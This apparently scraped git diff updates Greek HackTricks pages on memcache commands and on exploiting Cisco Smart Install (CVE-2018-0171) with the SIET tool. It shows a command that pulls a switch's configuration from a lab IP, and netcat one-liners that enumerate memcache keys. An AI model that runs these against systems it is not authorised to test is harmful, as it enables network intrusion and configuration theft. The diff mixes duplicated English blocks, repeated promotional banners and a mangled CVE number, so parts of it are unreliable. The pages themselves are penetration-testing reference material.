* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -1,66 +1,65 @@
# Memcache Commands
## Εντολές Memcache
# Εντολές Memcache
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
### Λίστα Εντολών
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Φύλλο Απατηλών Εντολών
**Από** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
Οι υποστηριζόμενες εντολές (οι επίσημες και μερικές ανεπίσημες) καταγράφονται στο έγγραφο [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt).
Οι υποστηριζόμενες εντολές (οι επίσημες και μερικές μη επίσημες) καταγράφονται στο έγγραφο [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt).
Δυστυχώς, η περιγραφή της σύνταξης δεν είναι πραγματικά σαφής και μια απλή εντολή βοήθειας που να καταγράφει τις υπάρχουσες εντολές θα ήταν πολύ καλύτερη. Εδώ υπάρχει μια επισκόπηση των εντολών που μπορείτε να βρείτε στην [πηγή](https://github.com/memcached/memcached) (την τελευταία ενημέρωση έγινε στις 19.08.2016):
Δυστυχώς η περιγραφή της σύνταξης δεν είναι πραγματικά σαφής και μια απλή εντολή βοήθειας που να καταγράφει τις υπάρχουσες εντολές θα ήταν πολύ καλύτερη. Εδώ υπάρχει μια επισκόπηση των εντολών που μπορείτε να βρείτε στην [πηγή](https://github.com/memcached/memcached) (έως 19.08.2016):
| Εντολή | Περιγραφή | Παράδειγμα |
| --------------------- | -------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| get | Διαβάζει μια τιμή | `get mykey` |
| set | Ορίζει μια κλειδί ανεξάρτητα | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Βεβαιωθείτε ότι χρησιμοποιείτε \r\n ως αλλαγές γραμμής όταν χρησιμοποιείτε εργαλεία Unix CLI. Για παράδειγμα&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n"</code></p> |
| add | Προσθέτει ένα νέο κλειδί | `add newkey 0 60 5` |
| replace | Αντικαθιστά υπάρχον κλειδί | `replace key 0 60 5` |
| append | Προσθέτει δεδομένα σε υπάρχον κλειδί | `append key 0 60 15` |
| prepend | Προσθέτει δεδομένα στην αρχή υπάρχοντος κλειδιού | `prepend key 0 60 15` |
| incr | Αυξάνει την αριθμητική τιμή του κλειδιού κατά έναν δοσμένο αριθμό | `incr mykey 2` |
| decr | Μειώνει την αριθμητική τιμή του κλειδιού κατά έναν δοσμένο αριθμό | `decr mykey 5` |
| delete | Διαγράφει ένα υπάρχον κλειδί | `delete mykey` |
| flush\_all | Ακυρώνει όλα τα στοιχεία αμέσως | `flush_all` |
| flush\_all | Ακυρώνει όλα τα στοιχεία σε n δευτερόλεπτα | `flush_all 900` |
| stats | Εκτυπώνει γενικές στατιστικές | `stats` |
| | Εκτυπώνει στατιστικές μνήμης | `stats slabs` |
| | Εκτυπώνει στατιστικές υψηλού επιπέδου ανάθεσης | `stats malloc` |
| | Εκτυπώνει πληροφορίες για τα αντικείμενα | `stats items` |
| | | `stats detail` |
| | | `stats sizes` |
| | Επαναφέρει τους μετρητές στατιστικών | `stats reset` |
| lru\_crawler metadump | Αδειάζει (σχεδόν όλα) τα μεταδεδομένα για (όλα) τα στοιχεία στην προσωρινή μνήμη | `lru_crawler metadump all` |
| version | Εκτυπώνει την έκδοση του διακομιστή | `version` |
| verbosity | Αυξάνει το επίπεδο καταγραφής | `verbosity` |
| quit | Τερματίζει τη συνεδρία | `quit` |
| Εντολή | Περιγραφή | Παράδειγμα |
| --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| get | Διαβάζει μια τιμή | `get mykey` |
| set | Ορίζει ένα κλειδί ανεξάρτητα | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Βεβαιωθείτε ότι χρησιμοποιείτε \r\n ως αλλαγές γραμμής όταν χρησιμοποιείτε εργαλεία Unix CLI. Για παράδειγμα&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | Προσθέτει ένα νέο κλειδί | `add newkey 0 60 5` |
| replace | Αντικαθιστά υπάρχον κλειδί | `replace key 0 60 5` |
| append | Προσθέτει δεδομένα σε υπάρχον κλειδί | `append key 0 60 15` |
| prepend | Προσθέτει δεδομένα στην αρχή υπάρχον κλειδί | `prepend key 0 60 15` |
| incr | Αυξάνει την αριθμητική τιμή του κλειδιού κατά τον δοθέν αριθμό | `incr mykey 2` |
| decr | Μειώνει την αριθμητική τιμή του κλειδιού κατά τον δοθέν αριθμό | `decr mykey 5` |
| delete | Διαγράφει ένα υπάρχον κλειδί | `delete mykey` |
| flush\_all | Άκυροποιεί όλα τα στοιχεία αμέσως | `flush_all` |
| flush\_all | Άκυροποιεί όλα τα στοιχεία σε n δευτερόλεπτα | `flush_all 900` |
| stats | Εκτυπώνει γενικά στατιστικά | `stats` |
| | Εκτυπώνει στατιστικά μνήμης | `stats slabs` |
| | Εκτυπώνει στατιστικά υψηλότερου επιπέδου εκχώρησης | `stats malloc` |
| | Εκτυπώνει πληροφορίες σχετικά με τα στοιχεία | `stats items` |
| | | `stats detail` |
| | | `stats sizes` |
| | Επαναφέρει τους μετρητές στατιστικών | `stats reset` |
| lru\_crawler metadump | Αδειάζει (το μεγαλύτερο μέρος) των μεταδεδομένων για (όλα τα) τα στοιχεία στην cache | `lru_crawler metadump all` |
| version | Εκτυπώνει την έκδοση του διακομιστή | `version` |
| verbosity | Αυξάνει το επίπεδο καταγραφής | `verbosity` |
| quit | Τερματίζει τη συνεδρία | `quit` |
**Στατιστικά Κίνησης**
#### Στατιστικά Κίνησης <a href="#traffic-statistics" id="traffic-statistics"></a>
Μπορείτε να ερωτήσετε τα τρέχοντα στατιστικά κίνησης χρησιμοποιώντας την εντολή
```
stats
```
Παίρνετε μια λίστα που εξυπηρετεί τον αριθμό των συνδέσεων, bytes εισόδου/εξόδου και πολλά άλλα.
Θα λάβετε μια λίστα που παρέχει τον αριθμό των συνδέσεων, τα bytes εισόδου/εξόδου και πολλά άλλα.
Παράδειγμα Αποτελέσματος:
Παράδειγμα Εξόδου:
```
STAT pid 14868
STAT uptime 175931
@ -86,77 +85,37 @@ STAT limit_maxbytes 52428800
STAT threads 1
END
```
#### Στατιστικά μνήμης <a href="#memory-statistics" id="memory-statistics"></a>
**Στατιστικά Μνήμης**
Μπορείτε να ερωτηθείτε για τα τρέχοντα στατιστικά μνήμης χρησιμοποιώντας την εντολή
Μπορείτε να εξετάσετε τα τρέχοντα στατιστικά μνήμης χρησιμοποιώντας
```
stats slabs
```
### Memcache Commands
## Memcache Commands
#### Stats Command
### Introduction
The `stats` command is used to retrieve statistics from the Memcache server. This command provides information such as the total number of items stored, the number of connections, and the memory used by the server.
Memcache is a widely used distributed memory caching system. It is commonly used to speed up dynamic web applications by caching data and reducing the load on the database.
```bash
$ echo "stats" | nc <ip> 11211
```
### Basic Commands
#### Get Command
#### SET
The `get` command is used to retrieve a specific item from the Memcache server. You need to provide the key of the item you want to retrieve.
**Command**: `set <key> <flags> <exptime> <bytes> [noreply]`
```bash
$ echo "get <key>" | nc <ip> 11211
```
**Description**: Stores the specified value in the cache under the given key. The flags parameter is used to store metadata about the value, such as its data type. The exptime parameter specifies the expiration time for the value, in seconds. The bytes parameter specifies the size of the value in bytes. The optional noreply parameter tells the server not to send a response.
#### Set Command
**Example**: `set mykey 0 3600 5\r\nhello\r`
#### GET
**Command**: `get <key>`
**Description**: Retrieves the value stored in the cache under the given key.
**Example**: `get mykey`
#### DELETE
**Command**: `delete <key> [noreply]`
**Description**: Deletes the value stored in the cache under the given key. The optional noreply parameter tells the server not to send a response.
**Example**: `delete mykey`
### Advanced Commands
#### STATS
**Command**: `stats [settings]`
**Description**: Retrieves statistics about the memcache server. The optional settings parameter can be used to retrieve specific statistics.
**Example**: `stats`
#### FLUSH\_ALL
**Command**: `flush_all [delay]`
**Description**: Deletes all the values stored in the cache. The optional delay parameter specifies the number of seconds to wait before performing the flush.
**Example**: `flush_all`
#### VERSION
**Command**: `version`
**Description**: Retrieves the version of the memcache server.
**Example**: `version`
### Conclusion
These are some of the basic and advanced commands that can be used to interact with a memcache server. Understanding these commands is essential for effective memcache management and troubleshooting.
The `set` command is used to store a new item in the Memcache server. You need to provide the key, flags, expiration time, and the size of the data.
```bash
$ echo "set <key> <flags> <exptime> <bytes> \r\n <data>" | nc <ip> 11211
```
```
STAT 1:chunk_size 80
STAT 1:chunks_per_page 13107
@ -177,35 +136,19 @@ STAT active_slabs 3
STAT total_malloced 3145436
END
```
Εάν δεν είστε βέβαιοι εάν έχετε αρκετή μνήμη για την περίπτωση του memcached σας, παρακολουθήστε πάντα τους μετρητές "εκδιώξεων" που δίνονται από την εντολή "stats". Εάν έχετε αρκετή μνήμη για την περίπτωση, ο μετρητής "εκδιώξεων" θα πρέπει να είναι 0 ή τουλάχιστον να μην αυξάνεται.
Εάν δεν είστε βέβαιοι αν έχετε αρκετή μνήμη για την περίπτωση του memcached σας, παρακολουθήστε πάντα τους μετρητές "εκδιωγμένων" που δίνονται από την εντολή "stats". Εάν έχετε αρκετή μνήμη για την περίπτωση, ο μετρητής "εκδιωγμένων" θα πρέπει να είναι 0 ή τουλάχιστον να μην αυξάνεται.
**Ποια Κλειδιά Χρησιμοποιούνται?**
Δεν υπάρχει ενσωματωμένη λειτουργία για να προσδιορίσετε απευθείας το τρέχον σύνολο των κλειδιών. Ωστόσο, μπορείτε να χρησιμοποιήσετε την
#### Ποια Κλειδιά Χρησιμοποιούνται; <a href="#which-keys-are-used" id="which-keys-are-used"></a>
Δεν υπάρχει ενσωματωμένη λειτουργία για να καθορίσετε απευθείας το τρέχον σύνολο κλειδιών. Ωστόσο, μπορείτε να χρησιμοποιήσετε το
```
stats items
```
### Command to Determine How Many Keys Exist
To determine the number of keys that exist in a Memcache server, you can use the `stats` command. This command provides statistics about the server, including the total number of keys stored.
### Command to determine how many keys do exist
```bash
stats items
```
This command will return a list of items with their corresponding statistics. Look for the line that starts with `STAT items:`, which will provide the total count of keys.
For example:
```bash
STAT items:1:number 10
```
In this case, the server has a total of 10 keys stored.
```
stats items
STAT items:1:number 220
@ -215,19 +158,22 @@ STAT items:2:age 1405
[...]
END
```
Αυτό τουλάχιστον βοηθάει να δούμε αν χρησιμοποιούνται κλειδιά. Για να ανακτήσετε τα ονόματα των κλειδιών από ένα σενάριο PHP που ήδη κάνει πρόσβαση στο memcache, μπορείτε να χρησιμοποιήσετε τον κώδικα PHP από το [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
Αυτό τουλάχιστον βοηθά να δούμε αν χρησιμοποιούνται κλειδιά. Για να ανακτήσετε τα ονόματα των κλειδιών από ένα PHP script που ήδη πραγματοποιεί πρόσβαση στο memcache, μπορείτε να χρησιμοποιήσετε τον κώδικα PHP από το [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε** 💬 **στην ομάδα Discord**]\(https://discord.gg/hRep4RUj7f) ή **στην ομάδα telegram**]\(https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>

View file

@ -4,17 +4,22 @@
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Δουλεύετε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Βασικές Πληροφορίες
Το **Cisco Smart Install** είναι ένα πρωτόκολλο που σχεδιάστηκε από την Cisco για την αυτοματοποίηση της αρχικής διαμόρφωσης και φόρτωσης εικόνας λειτουργικού συστήματος για νέο υλικό Cisco. **Από προεπιλογή, το Cisco Smart Install είναι ενεργό στο υλικό Cisco και χρησιμοποιεί το πρωτόκολλο μεταφοράς, TCP, με αριθμό θύρας 4786.**
**Το Cisco Smart Install** είναι ένα σχεδιασμένο από την Cisco για την αυτοματοποίηση της αρχικής ρύθμισης και φόρτωσης μιας εικόνας λειτουργικού συστήματος για νέο υλικό Cisco. **Από προεπιλογή, το Cisco Smart Install είναι ενεργό στο υλικό Cisco και χρησιμοποιεί το πρωτόκολλο επιπέδου μεταφοράς, TCP, με αριθμό θύρας 4786.**
**Προεπιλεγμένη θύρα:** 4786
```
@ -23,36 +28,41 @@ PORT STATE SERVICE
```
## **Εργαλείο Εκμετάλλευσης Smart Install**
**Το 2018, βρέθηκε μια κρίσιμη ευπάθεια, CVE-20180171, σε αυτό το πρωτόκολλο. Το επίπεδο απειλής είναι 9.8 στην κλίμακα CVSS.**
**Το 2018, βρέθηκε μια κρίσιμη ευπάθεια, CVE-20180171, σε αυτό το πρωτόκολλο. Το επίπεδο απειλής είναι 9,8 στην κλίμακα CVSS.**
**Ένα ειδικά δημιουργημένο πακέτο που στέλνεται στη θύρα TCP/4786, όπου είναι ενεργό το Cisco Smart Install, ενεργοποιεί ένα buffer overflow, επιτρέποντας σε έναν επιτιθέμενο να:**
**Ένα πακέτο ειδικά διαμορφωμένο που στέλνεται στη θύρα TCP/4786, όπου είναι ενεργό το Cisco Smart Install, ενεργοποιεί ένα buffer overflow, επιτρέποντας σε έναν εισβολέα:**
* επανεκκινήσει βίαια τη συσκευή
* καλέσει RCE
* κλέψει ρυθμίσεις του δικτυακού εξοπλισμού.
* να επανεκκινήσει εξαναγκαστικά τη συσκευή
* να καλέσει RCE
* να κλέψει διαμορφώσεις εξοπλισμού δικτύου.
**Το** [**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)** αναπτύχθηκε για να εκμεταλλευτεί αυτήν την ευπάθεια, σας επιτρέπει να καταχραστείτε το Cisco Smart Install. Σε αυτό το άρθρο θα σας δείξω πώς μπορείτε να διαβάσετε ένα νόμιμο αρχείο ρυθμίσεων υλικού δικτύου. Η διαμόρφωση της εξαγωγής μπορεί να είναι πολύτιμη για έναν pentester, καθώς θα μάθει για τα μοναδικά χαρακτηριστικά του δικτύου. Και αυτό θα διευκολύνει τη ζωή και θα επιτρέψει την εύρεση νέων διανυσμάτων για μια επίθεση.
**Το** [**SIET**](https://github.com/frostbits-security/SIET) **(Εργαλείο Εκμετάλλευσης Smart Install)** αναπτύχθηκε για να εκμεταλλευτεί αυτήν την ευπάθεια, σας επιτρέπει να καταχραστείτε το Cisco Smart Install. Σε αυτό το άρθρο θα σας δείξω πώς μπορείτε να διαβάσετε ένα νόμιμο αρχείο διαμόρφωσης υλικού δικτύου. Η διαμόρφωση εξυπορεί να είναι πολύτιμη για έναν pentester επειδή θα μάθει για τα μοναδικά χαρακτηριστικά του δικτύου. Αυτό θα διευκολύνει τη ζωή και θα επιτρέψει την εύρεση νέων διανυσματικών για μια επίθεση.
**Η συσκευή-στόχος θα είναι ένα "ζωντανό" Cisco Catalyst 2960 switch. Οι εικονικές εικόνες δεν έχουν Cisco Smart Install, οπότε μπορείτε να πρακτικάρετε μόνο στο πραγματικό υλικό.**
**Η συσκευή-στόχος θα είναι ένας "ζωντανός" διακόπτης Cisco Catalyst 2960. Οι εικονικές εικόνες δεν έχουν Cisco Smart Install, οπότε μπορείτε να εξασκηθείτε μόνο στο πραγματικό υλικό.**
Η διεύθυνση του στόχου switch είναι **10.10.100.10 και το CSI είναι ενεργό.** Φορτώστε το SIET και ξεκινήστε την επίθεση. **Το όρισμα -g** σημαίνει εξαγωγή της διαμόρφωσης από τη συσκευή, **το όρισμα -i** σας επιτρέπει να ορίσετε τη διεύθυνση IP του ευπάθους στόχου.
Η διεύθυνση του διακόπτη-στόχου είναι **10.10.100.10 και το CSI είναι ενεργό.** Φορτώστε το SIET και ξεκινήστε την επίθεση. **Το όρισμα -g** σημαίνει εξυπορεία της διαμόρφωσης από τη συσκευή, **το όρισμα -i** σάς επιτρέπει να ορίσετε τη διεύθυνση IP του ευάλωτου στόχου.
```
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
```
<figure><img src="../.gitbook/assets/image (302).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (770).png" alt=""><figcaption></figcaption></figure>
Η διαμόρφωση του switch **10.10.100.10** θα βρίσκεται στον φάκελο **tftp/**.
Η διαμόρφωση του διακόπτη **10.10.100.10** θα βρίσκεται στον φάκελο **tftp/**
<figure><img src="../.gitbook/assets/image (73).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1113).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,10 +1,10 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
